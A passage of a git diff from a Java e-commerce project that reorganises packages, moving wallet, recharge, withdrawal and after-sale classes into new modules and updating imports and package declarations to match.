cn.lili.modules.order.order.entity.dos.OrderComplaint; -import cn.lili.modules.order.order.entity.enums.ComplaintStatusEnum; +import cn.lili.modules.order.aftersale.entity.enums.ComplaintStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java b/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java index 83d07d57..498fe952 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java +++ b/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java @@ -1,7 +1,7 @@ package cn.lili.modules.order.order.service; import cn.lili.common.vo.PageVO; -import cn.lili.modules.order.order.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.dos.StoreFlow; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderComplaintServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderComplaintServiceImpl.java index d5c2eb06..6631f714 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderComplaintServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderComplaintServiceImpl.java @@ -15,7 +15,7 @@ import cn.lili.modules.order.order.entity.dos.OrderComplaint; import cn.lili.modules.order.order.entity.dos.OrderComplaintCommunication; import cn.lili.modules.order.order.entity.dos.OrderItem; import cn.lili.modules.order.order.entity.dto.OrderComplaintDTO; -import cn.lili.modules.order.order.entity.enums.ComplaintStatusEnum; +import cn.lili.modules.order.aftersale.entity.enums.ComplaintStatusEnum; import cn.lili.modules.order.order.entity.enums.OrderComplaintStatusEnum; import cn.lili.modules.order.order.entity.vo.*; import cn.lili.modules.order.order.mapper.OrderComplaintMapper; diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java index 4659197d..e7cd980c 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java @@ -2,7 +2,7 @@ package cn.lili.modules.order.order.serviceimpl; import cn.lili.common.utils.*; import cn.lili.common.vo.PageVO; -import cn.lili.modules.order.order.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.OrderItem; import cn.lili.modules.order.order.entity.dos.StoreFlow; diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/CashierSupport.java b/framework/src/main/java/cn/lili/modules/payment/kit/CashierSupport.java index 3345d7c3..1004787a 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/CashierSupport.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/CashierSupport.java @@ -7,7 +7,7 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.utils.SpringContextUtil; import cn.lili.common.vo.ResultMessage; import cn.lili.common.enums.ClientTypeEnum; -import cn.lili.modules.member.service.MemberWalletService; +import cn.lili.modules.wallet.service.MemberWalletService; import cn.lili.modules.payment.kit.dto.PayParam; import cn.lili.modules.payment.entity.enums.PaymentClientEnum; import cn.lili.modules.payment.entity.enums.PaymentMethodEnum; diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java b/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java index 07045e98..52cda619 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/RefundSupport.java @@ -2,9 +2,9 @@ package cn.lili.modules.payment.kit; import cn.lili.common.utils.SnowFlake; import cn.lili.common.utils.SpringContextUtil; -import cn.lili.modules.order.order.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.dos.Order; -import cn.lili.modules.order.order.service.AfterSaleService; +import cn.lili.modules.order.aftersale.service.AfterSaleService; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.StoreFlowService; import cn.lili.modules.payment.entity.RefundLog; diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/params/impl/RechargeCashier.java b/framework/src/main/java/cn/lili/modules/payment/kit/params/impl/RechargeCashier.java index 2db0ea27..e1ba21f7 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/params/impl/RechargeCashier.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/params/impl/RechargeCashier.java @@ -4,8 +4,8 @@ import cn.hutool.json.JSONUtil; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; -import cn.lili.modules.order.trade.entity.dos.Recharge; -import cn.lili.modules.order.trade.service.RechargeService; +import cn.lili.modules.wallet.entity.dos.Recharge; +import cn.lili.modules.wallet.service.RechargeService; import cn.lili.modules.payment.kit.dto.PayParam; import cn.lili.modules.payment.kit.dto.PaymentSuccessParams; import cn.lili.modules.payment.entity.enums.CashierEnum; diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wallet/WalletPlugin.java b/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wallet/WalletPlugin.java index 832e5cd6..7e10a3ba 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wallet/WalletPlugin.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wallet/WalletPlugin.java @@ -5,8 +5,8 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.member.service.MemberWalletService; -import cn.lili.modules.order.trade.entity.enums.DepositServiceTypeEnum; +import cn.lili.modules.wallet.service.MemberWalletService; +import cn.lili.modules.wallet.entity.enums.DepositServiceTypeEnum; import cn.lili.modules.payment.entity.RefundLog; import cn.lili.modules.payment.kit.CashierSupport; import cn.lili.modules.payment.kit.Payment; diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java index eab152e7..501dbb92 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java @@ -12,7 +12,7 @@ import cn.lili.modules.goods.service.GoodsService; import cn.lili.modules.member.service.MemberEvaluationService; import cn.lili.modules.order.order.entity.enums.FlowTypeEnum; import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; -import cn.lili.modules.order.order.service.AfterSaleService; +import cn.lili.modules.order.aftersale.service.AfterSaleService; import cn.lili.modules.order.order.service.OrderComplaintService; import cn.lili.modules.order.trade.entity.enums.AfterSaleTypeEnum; import cn.lili.modules.promotion.service.SeckillService; diff --git a/framework/src/main/java/cn/lili/modules/system/sms/SmsUtil.java b/framework/src/main/java/cn/lili/modules/system/sms/SmsUtil.java index de177e12..55b992df 100644 --- a/framework/src/main/java/cn/lili/modules/system/sms/SmsUtil.java +++ b/framework/src/main/java/cn/lili/modules/system/sms/SmsUtil.java @@ -1,6 +1,6 @@ package cn.lili.modules.system.sms; -import cn.lili.modules.verification.enums.VerificationEnums; +import cn.lili.modules.verification.entity.enums.VerificationEnums; import java.util.List; import java.util.Map; diff --git a/framework/src/main/java/cn/lili/modules/system/sms/impl/SmsUtilAliImplService.java b/framework/src/main/java/cn/lili/modules/system/sms/impl/SmsUtilAliImplService.java index ad7776b4..4fb1a507 100644 --- a/framework/src/main/java/cn/lili/modules/system/sms/impl/SmsUtilAliImplService.java +++ b/framework/src/main/java/cn/lili/modules/system/sms/impl/SmsUtilAliImplService.java @@ -10,7 +10,7 @@ import cn.lili.common.security.context.UserContext; import cn.lili.modules.system.sms.AliSmsUtil; import cn.lili.modules.system.sms.SmsUtil; import cn.lili.common.utils.CommonUtil; -import cn.lili.modules.verification.enums.VerificationEnums; +import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.common.properties.SmsTemplateProperties; import cn.lili.common.properties.SystemSettingProperties; import cn.lili.common.utils.Base64Utils; diff --git a/framework/src/main/java/cn/lili/modules/verification/aop/VerificationInterceptor.java b/framework/src/main/java/cn/lili/modules/verification/aop/VerificationInterceptor.java index 0948babd..913fcb25 100644 --- a/framework/src/main/java/cn/lili/modules/verification/aop/VerificationInterceptor.java +++ b/framework/src/main/java/cn/lili/modules/verification/aop/VerificationInterceptor.java @@ -3,7 +3,7 @@ package cn.lili.modules.verification.aop; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.modules.verification.aop.annotation.Verification; -import cn.lili.modules.verification.enums.VerificationEnums; +import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.modules.verification.service.VerificationService; import lombok.extern.slf4j.Slf4j; import org.aspectj.lang.JoinPoint; diff --git a/framework/src/main/java/cn/lili/modules/verification/aop/annotation/Verification.java b/framework/src/main/java/cn/lili/modules/verification/aop/annotation/Verification.java index a6bd95e0..26b79aa2 100644 --- a/framework/src/main/java/cn/lili/modules/verification/aop/annotation/Verification.java +++ b/framework/src/main/java/cn/lili/modules/verification/aop/annotation/Verification.java @@ -1,7 +1,7 @@ package cn.lili.modules.verification.aop.annotation; -import cn.lili.modules.verification.enums.VerificationEnums; +import cn.lili.modules.verification.entity.enums.VerificationEnums; import java.lang.annotation.*; diff --git a/framework/src/main/java/cn/lili/modules/verification/enums/VerificationEnums.java b/framework/src/main/java/cn/lili/modules/verification/entity/enums/VerificationEnums.java similarity index 86% rename from framework/src/main/java/cn/lili/modules/verification/enums/VerificationEnums.java rename to framework/src/main/java/cn/lili/modules/verification/entity/enums/VerificationEnums.java index 4825c9a6..48b6b92b 100644 --- a/framework/src/main/java/cn/lili/modules/verification/enums/VerificationEnums.java +++ b/framework/src/main/java/cn/lili/modules/verification/entity/enums/VerificationEnums.java @@ -1,4 +1,4 @@ -package cn.lili.modules.verification.enums; +package cn.lili.modules.verification.entity.enums; /** * VerificationEnums diff --git a/framework/src/main/java/cn/lili/modules/verification/service/VerificationService.java b/framework/src/main/java/cn/lili/modules/verification/service/VerificationService.java index 44c3f836..40d709c5 100644 --- a/framework/src/main/java/cn/lili/modules/verification/service/VerificationService.java +++ b/framework/src/main/java/cn/lili/modules/verification/service/VerificationService.java @@ -1,6 +1,6 @@ package cn.lili.modules.verification.service; -import cn.lili.modules.verification.enums.VerificationEnums; +import cn.lili.modules.verification.entity.enums.VerificationEnums; import java.io.IOException; import java.util.Map; diff --git a/framework/src/main/java/cn/lili/modules/verification/service/impl/VerificationServiceImpl.java b/framework/src/main/java/cn/lili/modules/verification/service/impl/VerificationServiceImpl.java index c5449bc6..2ba98d07 100644 --- a/framework/src/main/java/cn/lili/modules/verification/service/impl/VerificationServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/verification/service/impl/VerificationServiceImpl.java @@ -11,7 +11,7 @@ import cn.lili.modules.verification.entity.dos.VerificationSource; import cn.lili.modules.verification.entity.dto.VerificationDTO; import cn.lili.modules.verification.service.VerificationSourceService; import cn.lili.modules.verification.SliderImageUtil; -import cn.lili.modules.verification.enums.VerificationEnums; +import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.modules.verification.service.VerificationService; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; diff --git a/framework/src/main/java/cn/lili/modules/member/entity/dos/MemberWallet.java b/framework/src/main/java/cn/lili/modules/wallet/entity/dos/MemberWallet.java similarity index 95% rename from framework/src/main/java/cn/lili/modules/member/entity/dos/MemberWallet.java rename to framework/src/main/java/cn/lili/modules/wallet/entity/dos/MemberWallet.java index 9b7dab44..cf9fdfe8 100644 --- a/framework/src/main/java/cn/lili/modules/member/entity/dos/MemberWallet.java +++ b/framework/src/main/java/cn/lili/modules/wallet/entity/dos/MemberWallet.java @@ -1,4 +1,4 @@ -package cn.lili.modules.member.entity.dos; +package cn.lili.modules.wallet.entity.dos; import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; diff --git a/framework/src/main/java/cn/lili/modules/member/entity/dos/MemberWithdrawApply.java b/framework/src/main/java/cn/lili/modules/wallet/entity/dos/MemberWithdrawApply.java similarity index 97% rename from framework/src/main/java/cn/lili/modules/member/entity/dos/MemberWithdrawApply.java rename to framework/src/main/java/cn/lili/modules/wallet/entity/dos/MemberWithdrawApply.java index 02ca4597..02aaf1eb 100644 --- a/framework/src/main/java/cn/lili/modules/member/entity/dos/MemberWithdrawApply.java +++ b/framework/src/main/java/cn/lili/modules/wallet/entity/dos/MemberWithdrawApply.java @@ -1,4 +1,4 @@ -package cn.lili.modules.member.entity.dos; +package cn.lili.modules.wallet.entity.dos; import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.FieldFill; diff --git a/framework/src/main/java/cn/lili/modules/order/trade/entity/dos/Recharge.java b/framework/src/main/java/cn/lili/modules/wallet/entity/dos/Recharge.java similarity index 98% rename from framework/src/main/java/cn/lili/modules/order/trade/entity/dos/Recharge.java rename to framework/src/main/java/cn/lili/modules/wallet/entity/dos/Recharge.java index dc1ca9fd..fb1bf454 100644 --- a/framework/src/main/java/cn/lili/modules/order/trade/entity/dos/Recharge.java +++ b/framework/src/main/java/cn/lili/modules/wallet/entity/dos/Recharge.java @@ -1,4 +1,4 @@ -package cn.lili.modules.order.trade.entity.dos; +package cn.lili.modules.wallet.entity.dos; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.mybatis.BaseIdEntity; diff --git a/framework/src/main/java/cn/lili/modules/order/trade/entity/dos/WalletLog.java b/framework/src/main/java/cn/lili/modules/wallet/entity/dos/WalletLog.java similarity index 88% rename from framework/src/main/java/cn/lili/modules/order/trade/entity/dos/WalletLog.java rename to framework/src/main/java/cn/lili/modules/wallet/entity/dos/WalletLog.java index 8dc7112f..9f856ed0 100644 --- a/framework/src/main/java/cn/lili/modules/order/trade/entity/dos/WalletLog.java +++ b/framework/src/main/java/cn/lili/modules/wallet/entity/dos/WalletLog.java @@ -1,5 +1,6 @@ -package cn.lili.modules.order.trade.entity.dos; +package cn.lili.modules.wallet.entity.dos; +import cn.lili.modules.wallet.entity.enums.DepositServiceTypeEnum; import cn.lili.mybatis.BaseIdEntity; import com.baomidou.mybatisplus.annotation.FieldFill; import com.baomidou.mybatisplus.annotation.TableField; @@ -29,34 +30,21 @@ public class WalletLog extends BaseIdEntity { private static final long serialVersionUID = -1599270544927161096L; - /** - * 会员id - */ @ApiModelProperty(value = "会员id") private String memberId; - /** - * 会员名称 - */ @ApiModelProperty(value = "会员名称") private String memberName; - /** - * 金额 - */ + @ApiModelProperty(value = "金额") private Double money; /** - * 变动业务类型 - * - * @see cn.lili.modules.order.trade.entity.enums.DepositServiceTypeEnum + * @see DepositServiceTypeEnum */ @ApiModelProperty(value = "业务类型") private String serviceType; - /** - * 日志明细 - */ @ApiModelProperty(value = "日志明细") private String detail; diff --git a/framework/src/main/java/cn/lili/modules/member/entity/dto/MemberWithdrawalMessage.java b/framework/src/main/java/cn/lili/modules/wallet/entity/dto/MemberWithdrawalMessage.java similarity index 75% rename from framework/src/main/java/cn/lili/modules/member/entity/dto/MemberWithdrawalMessage.java rename to framework/src/main/java/cn/lili/modules/wallet/entity/dto/MemberWithdrawalMessage.java index 2e468323..6eeb7f62 100644 --- a/framework/src/main/java/cn/lili/modules/member/entity/dto/MemberWithdrawalMessage.java +++ b/framework/src/main/java/cn/lili/modules/wallet/entity/dto/MemberWithdrawalMessage.java @@ -1,5 +1,6 @@ -package cn.lili.modules.member.entity.dto; +package cn.lili.modules.wallet.entity.dto; +import cn.lili.modules.wallet.entity.enums.MemberWithdrawalDestinationEnum; import io.swagger.annotations.ApiModelProperty; import lombok.Data; @@ -22,7 +23,7 @@ public class MemberWithdrawalMessage { private String status; /** - * @see cn.lili.modules.member.entity.enums.MemberWithdrawalDestinationEnum + * @see MemberWithdrawalDestinationEnum */ @ApiModelProperty(value = "提现到哪里") private String destination; diff --git a/framework/src/main/java/cn/lili/modules/order/trade/entity/enums/DepositServiceTypeEnum.java b/framework/src/main/java/cn/lili/modules/wallet/entity/enums/DepositServiceTypeEnum.java similarity index 92% rename from framework/src/main/java/cn/lili/modules/order/trade/entity/enums/DepositServiceTypeEnum.java rename to framework/src/main/java/cn/lili/modules/wallet/entity/enums/DepositServiceTypeEnum.java index cbfae540..ff6109df 100644 --- a/framework/src/main/java/cn/lili/modules/order/trade/entity/enums/DepositServiceTypeEnum.java +++ b/framework/src/main/java/cn/lili/modules/wallet/entity/enums/DepositServiceTypeEnum.java @@ -1,4 +1,4 @@ -package cn.lili.modules.order.trade.entity.enums; +package cn.lili.modules.wallet.entity.enums; /** * 预存款变动日志业务类型 diff --git a/framework/src/main/java/cn/lili/modules/member/entity/enums/MemberWithdrawalDestinationEnum.java b/framework/src/main/java/cn/lili/modules/wallet/entity/enums/MemberWithdrawalDestinationEnum.java similarity index 90% rename from framework/src/main/java/cn/lili/modules/member/entity/enums/MemberWithdrawalDestinationEnum.java rename to framework/src/main/java/cn/lili/modules/wallet/entity/enums/MemberWithdrawalDestinationEnum.java index bfcbaa0a..1ebabf31 100644 --- a/framework/src/main/java/cn/lili/modules/member/entity/enums/MemberWithdrawalDestinationEnum.java +++ b/framework/src/main/java/cn/lili/modules/wallet/entity/enums/MemberWithdrawalDestinationEnum.java @@ -1,4 +1,4 @@ -package cn.lili.modules.member.entity.enums; +package cn.lili.modules.wallet.entity.enums; /** * 会员提现到哪里 枚举 diff --git a/framework/src/main/java/cn/lili/modules/member/entity/enums/WithdrawStatusEnum.java b/framework/src/main/java/cn/lili/modules/wallet/entity/enums/WithdrawStatusEnum.java similarity index 92% rename from framework/src/main/java/cn/lili/modules/member/entity/enums/WithdrawStatusEnum.java rename to framework/src/main/java/cn/lili/modules/wallet/entity/enums/WithdrawStatusEnum.java index 53b96e94..3910eace 100755 --- a/framework/src/main/java/cn/lili/modules/member/entity/enums/WithdrawStatusEnum.java +++ b/framework/src/main/java/cn/lili/modules/wallet/entity/enums/WithdrawStatusEnum.java @@ -1,4 +1,4 @@ -package cn.lili.modules.member.entity.enums; +package cn.lili.modules.wallet.entity.enums; /** * 提现申请状态枚举类 diff --git a/framework/src/main/java/cn/lili/modules/member/entity/vo/MemberWalletVO.java b/framework/src/main/java/cn/lili/modules/wallet/entity/vo/MemberWalletVO.java similarity index 93% rename from framework/src/main/java/cn/lili/modules/member/entity/vo/MemberWalletVO.java rename to framework/src/main/java/cn/lili/modules/wallet/entity/vo/MemberWalletVO.java index 774084ea..cc98aa60 100644 --- a/framework/src/main/java/cn/lili/modules/member/entity/vo/MemberWalletVO.java +++ b/framework/src/main/java/cn/lili/modules/wallet/entity/vo/MemberWalletVO.java @@ -1,4 +1,4 @@ -package cn.lili.modules.member.entity.vo; +package cn.lili.modules.wallet.entity.vo; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; diff --git a/framework/src/main/java/cn/lili/modules/member/entity/vo/MemberWithdrawApplyQueryVO.java b/framework/src/main/java/cn/lili/modules/wallet/entity/vo/MemberWithdrawApplyQueryVO.java similarity index 96% rename from framework/src/main/java/cn/lili/modules/member/entity/vo/MemberWithdrawApplyQueryVO.java rename to framework/src/main/java/cn/lili/modules/wallet/entity/vo/MemberWithdrawApplyQueryVO.java index e5c72401..99ffd599 100644 --- a/framework/src/main/java/cn/lili/modules/member/entity/vo/MemberWithdrawApplyQueryVO.java +++ b/framework/src/main/java/cn/lili/modules/wallet/entity/vo/MemberWithdrawApplyQueryVO.java @@ -1,4 +1,4 @@ -package cn.lili.modules.member.entity.vo; +package cn.lili.modules.wallet.entity.vo; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; diff --git a/framework/src/main/java/cn/lili/modules/member/mapper/MemberWalletMapper.java b/framework/src/main/java/cn/lili/modules/wallet/mapper/MemberWalletMapper.java similarity index 70% rename from framework/src/main/java/cn/lili/modules/member/mapper/MemberWalletMapper.java rename to framework/src/main/java/cn/lili/modules/wallet/mapper/MemberWalletMapper.java index eec4d70f..2c8a1450 100644 --- a/framework/src/main/java/cn/lili/modules/member/mapper/MemberWalletMapper.java +++ b/framework/src/main/java/cn/lili/modules/wallet/mapper/MemberWalletMapper.java @@ -1,7 +1,7 @@ -package cn.lili.modules.member.mapper; +package cn.lili.modules.wallet.mapper; -import cn.lili.modules.member.entity.dos.MemberWallet; +import cn.lili.modules.wallet.entity.dos.MemberWallet; import com.baomidou.mybatisplus.core.mapper.BaseMapper; /** diff --git a/framework/src/main/java/cn/lili/modules/member/mapper/MemberWithdrawApplyMapper.java b/framework/src/main/java/cn/lili/modules/wallet/mapper/MemberWithdrawApplyMapper.java similarity index 70% rename from framework/src/main/java/cn/lili/modules/member/mapper/MemberWithdrawApplyMapper.java rename to framework/src/main/java/cn/lili/modules/wallet/mapper/MemberWithdrawApplyMapper.java index 8ed446b2..bf2addfc 100644 --- a/framework/src/main/java/cn/lili/modules/member/mapper/MemberWithdrawApplyMapper.java +++ b/framework/src/main/java/cn/lili/modules/wallet/mapper/MemberWithdrawApplyMapper.java @@ -1,7 +1,7 @@ -package cn.lili.modules.member.mapper; +package cn.lili.modules.wallet.mapper; -import cn.lili.modules.member.entity.dos.MemberWithdrawApply; +import cn.lili.modules.wallet.entity.dos.MemberWithdrawApply; import com.baomidou.mybatisplus.core.mapper.BaseMapper; /** diff --git a/framework/src/main/java/cn/lili/modules/order/trade/mapper/RechargeMapper.java b/framework/src/main/java/cn/lili/modules/wallet/mapper/RechargeMapper.java similarity index 68% rename from framework/src/main/java/cn/lili/modules/order/trade/mapper/RechargeMapper.java rename to framework/src/main/java/cn/lili/modules/wallet/mapper/RechargeMapper.java index fafc2195..fba8eeed 100644 --- a/framework/src/main/java/cn/lili/modules/order/trade/mapper/RechargeMapper.java +++ b/framework/src/main/java/cn/lili/modules/wallet/mapper/RechargeMapper.java @@ -1,6 +1,6 @@ -package cn.lili.modules.order.trade.mapper; +package cn.lili.modules.wallet.mapper; -import cn.lili.modules.order.trade.entity.dos.Recharge; +import cn.lili.modules.wallet.entity.dos.Recharge; import com.baomidou.mybatisplus.core.mapper.BaseMapper; /** diff --git a/framework/src/main/java/cn/lili/modules/order/trade/mapper/WalletLogMapper.java b/framework/src/main/java/cn/lili/modules/wallet/mapper/WalletLogMapper.java similarity index 68% rename from framework/src/main/java/cn/lili/modules/order/trade/mapper/WalletLogMapper.java rename to framework/src/main/java/cn/lili/modules/wallet/mapper/WalletLogMapper.java index 2ea8ae05..61f2db7f 100644 --- a/framework/src/main/java/cn/lili/modules/order/trade/mapper/WalletLogMapper.java +++ b/framework/src/main/java/cn/lili/modules/wallet/mapper/WalletLogMapper.java @@ -1,6 +1,6 @@ -package cn.lili.modules.order.trade.mapper; +package cn.lili.modules.wallet.mapper; -import cn.lili.modules.order.trade.entity.dos.WalletLog; +import cn.lili.modules.wallet.entity.dos.WalletLog; import com.baomidou.mybatisplus.core.mapper.BaseMapper; /** diff --git a/framework/src/main/java/cn/lili/modules/member/service/MemberWalletService.java b/framework/src/main/java/cn/lili/modules/wallet/service/MemberWalletService.java similarity index 93% rename from framework/src/main/java/cn/lili/modules/member/service/MemberWalletService.java rename to framework/src/main/java/cn/lili/modules/wallet/service/MemberWalletService.java index effcc319..a11cde3e 100644 --- a/framework/src/main/java/cn/lili/modules/member/service/MemberWalletService.java +++ b/framework/src/main/java/cn/lili/modules/wallet/service/MemberWalletService.java @@ -1,10 +1,10 @@ -package cn.lili.modules.member.service; +package cn.lili.modules.wallet.service; import cn.lili.modules.member.entity.dos.Member; -import cn.lili.modules.member.entity.dos.MemberWallet; -import cn.lili.modules.member.entity.dos.MemberWithdrawApply; -import cn.lili.modules.member.entity.vo.MemberWalletVO; +import cn.lili.modules.wallet.entity.dos.MemberWallet; +import cn.lili.modules.wallet.entity.dos.MemberWithdrawApply; +import cn.lili.modules.wallet.entity.vo.MemberWalletVO; import com.baomidou.mybatisplus.extension.service.IService; /** diff --git a/framework/src/main/java/cn/lili/modules/member/service/MemberWithdrawApplyService.java b/framework/src/main/java/cn/lili/modules/wallet/service/MemberWithdrawApplyService.java similarity index 84% rename from framework/src/main/java/cn/lili/modules/member/service/MemberWithdrawApplyService.java rename to framework/src/main/java/cn/lili/modules/wallet/service/MemberWithdrawApplyService.java index ae9ac2b5..95f2339c 100644 --- a/framework/src/main/java/cn/lili/modules/member/service/MemberWithdrawApplyService.java +++ b/framework/src/main/java/cn/lili/modules/wallet/service/MemberWithdrawApplyService.java @@ -1,9 +1,9 @@ -package cn.lili.modules.member.service; +package cn.lili.modules.wallet.service; import cn.lili.common.vo.PageVO; -import cn.lili.modules.member.entity.dos.MemberWithdrawApply; -import cn.lili.modules.member.entity.vo.MemberWithdrawApplyQueryVO; +import cn.lili.modules.wallet.entity.dos.MemberWithdrawApply; +import cn.lili.modules.wallet.entity.vo.MemberWithdrawApplyQueryVO; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; diff --git a/framework/src/main/java/cn/lili/modules/order/trade/service/RechargeService.java b/framework/src/main/java/cn/lili/modules/wallet/service/RechargeService.java similarity index 90% rename from framework/src/main/java/cn/lili/modules/order/trade/service/RechargeService.java rename to framework/src/main/java/cn/lili/modules/wallet/service/RechargeService.java index e7034250..2943eeb2 100644 --- a/framework/src/main/java/cn/lili/modules/order/trade/service/RechargeService.java +++ b/framework/src/main/java/cn/lili/modules/wallet/service/RechargeService.java @@ -1,13 +1,13 @@ -package cn.lili.modules.order.trade.service; +package cn.lili.modules.wallet.service; import cn.lili.common.vo.PageVO; -import cn.lili.modules.order.trade.entity.dos.Recharge; +import cn.lili.modules.wallet.entity.dos.Recharge; import cn.lili.modules.order.trade.entity.vo.RechargeQueryVO; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; /** - * 预存款充值记录业务层 + * 预存款充值业务层 * * @author pikachu * @since 2020-02-25 14:10:16 diff --git a/framework/src/main/java/cn/lili/modules/order/trade/service/WalletLogService.java b/framework/src/main/java/cn/lili/modules/wallet/service/WalletLogService.java similarity index 82% rename from framework/src/main/java/cn/lili/modules/order/trade/service/WalletLogService.java rename to framework/src/main/java/cn/lili/modules/wallet/service/WalletLogService.java index 8ca0722f..598665c8 100644 --- a/framework/src/main/java/cn/lili/modules/order/trade/service/WalletLogService.java +++ b/framework/src/main/java/cn/lili/modules/wallet/service/WalletLogService.java @@ -1,13 +1,13 @@ -package cn.lili.modules.order.trade.service; +package cn.lili.modules.wallet.service; import cn.lili.common.vo.PageVO; -import cn.lili.modules.order.trade.entity.dos.WalletLog; +import cn.lili.modules.wallet.entity.dos.WalletLog; import cn.lili.modules.order.trade.entity.vo.DepositQueryVO; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; /** - * 预存款日志业务层 + * 钱包变动日志业务层 * * @author pikachu * @since 2020-02-25 14:10:16 diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberWalletServiceImpl.java b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWalletServiceImpl.java similarity index 94% rename from framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberWalletServiceImpl.java rename to framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWalletServiceImpl.java index b58407f3..8c9ef0dc 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberWalletServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWalletServiceImpl.java @@ -1,4 +1,4 @@ -package cn.lili.modules.member.serviceimpl; +package cn.lili.modules.wallet.serviceimpl; import cn.lili.common.enums.ResultCode; @@ -10,19 +10,19 @@ import cn.lili.common.utils.CurrencyUtil; import cn.lili.common.utils.SnowFlake; import cn.lili.common.utils.StringUtils; import cn.lili.modules.member.entity.dos.Member; -import cn.lili.modules.member.entity.dos.MemberWallet; -import cn.lili.modules.member.entity.dos.MemberWithdrawApply; -import cn.lili.modules.member.entity.dto.MemberWithdrawalMessage; -import cn.lili.modules.member.entity.enums.MemberWithdrawalDestinationEnum; -import cn.lili.modules.member.entity.enums.WithdrawStatusEnum; -import cn.lili.modules.member.entity.vo.MemberWalletVO; -import cn.lili.modules.member.mapper.MemberWalletMapper; +import cn.lili.modules.wallet.entity.dos.MemberWallet; +import cn.lili.modules.wallet.entity.dos.MemberWithdrawApply; +import cn.lili.modules.wallet.entity.dto.MemberWithdrawalMessage; +import cn.lili.modules.wallet.entity.enums.MemberWithdrawalDestinationEnum; +import cn.lili.modules.wallet.entity.enums.WithdrawStatusEnum; +import cn.lili.modules.wallet.entity.vo.MemberWalletVO; +import cn.lili.modules.wallet.mapper.MemberWalletMapper; import cn.lili.modules.member.service.MemberService; -import cn.lili.modules.member.service.MemberWalletService; -import cn.lili.modules.member.service.MemberWithdrawApplyService; -import cn.lili.modules.order.trade.entity.dos.WalletLog; -import cn.lili.modules.order.trade.entity.enums.DepositServiceTypeEnum; -import cn.lili.modules.order.trade.service.WalletLogService; +import cn.lili.modules.wallet.service.MemberWalletService; +import cn.lili.modules.wallet.service.MemberWithdrawApplyService; +import cn.lili.modules.wallet.entity.dos.WalletLog; +import 